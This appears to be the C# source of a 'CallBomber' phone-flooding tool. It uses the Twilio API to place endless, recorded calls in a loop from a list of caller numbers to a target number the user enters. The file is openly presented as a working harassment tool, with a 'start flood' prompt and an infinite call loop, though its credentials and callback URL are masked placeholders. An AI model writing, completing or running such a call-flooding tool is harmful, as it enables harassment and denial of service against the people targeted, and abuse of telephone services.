1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
|
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Threading.Tasks;
using System.Linq;
using Twilio; /* Run 'Install-Package Twilio' in NuGet Package Manager console */
using Twilio.Rest.Api.V2010.Account;
using Twilio.Types;
namespace CallBomber
{
class Program
{
public static string accountSid = "*********";
public static string authtoken = "*********";
public static List<string> numbers = new List<string>(new string[] { "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", }); // Replace "" with phone numbers
public static List<string> numbersInUse = new List<string>();
public static string NumToCall = "";
static void Main(string[] args)
{
Console.WriteLine(@"
_____ ____ __ ______
/ ___// __ \/ / / / __ \
\__ \/ / / / / / / /_/ /
___/ / /_/ / /_/ / ____/
/____/\____/\____/_/
");
Console.WriteLine("Enter the target number to start flood (+1 MUST BE IN FRONT!):");
NumToCall = Console.ReadLine();
Console.WriteLine("Press ENTER to start the flooder, Otherwise exit the application right now...");
Console.ReadLine();
Console.Clear();
TwilioClient.Init(accountSid, authtoken);
var count = 1;
// do while loop
do
{
Console.WriteLine("Starting Call Batch " + count.ToString() + " [" + numbers.Count + " Nums.)"); // this line needs to be fixed
foreach (string num in numbers)
{
Call(num);
System.Threading.Thread.Sleep(1000);
}
count++;
System.Threading.Thread.Sleep(5000);
} while (true);
}
// Call Function
static void Call(string FromNumber)
{
try
{
var call = CallResource.Create(
new PhoneNumber(NumToCall),
new PhoneNumber(FromNumber),
record: true,
url: new Uri("/*A URL that returns TwiML markup*/")
);
Console.WriteLine(string.Format($"Started call to :" + call.To + " from: " + FromNumber));
}
catch (Exception Ex)
{
Console.WriteLine(string.Format($"Error on number {FromNumber}: {Ex.Message}"));
}
}
}
}
|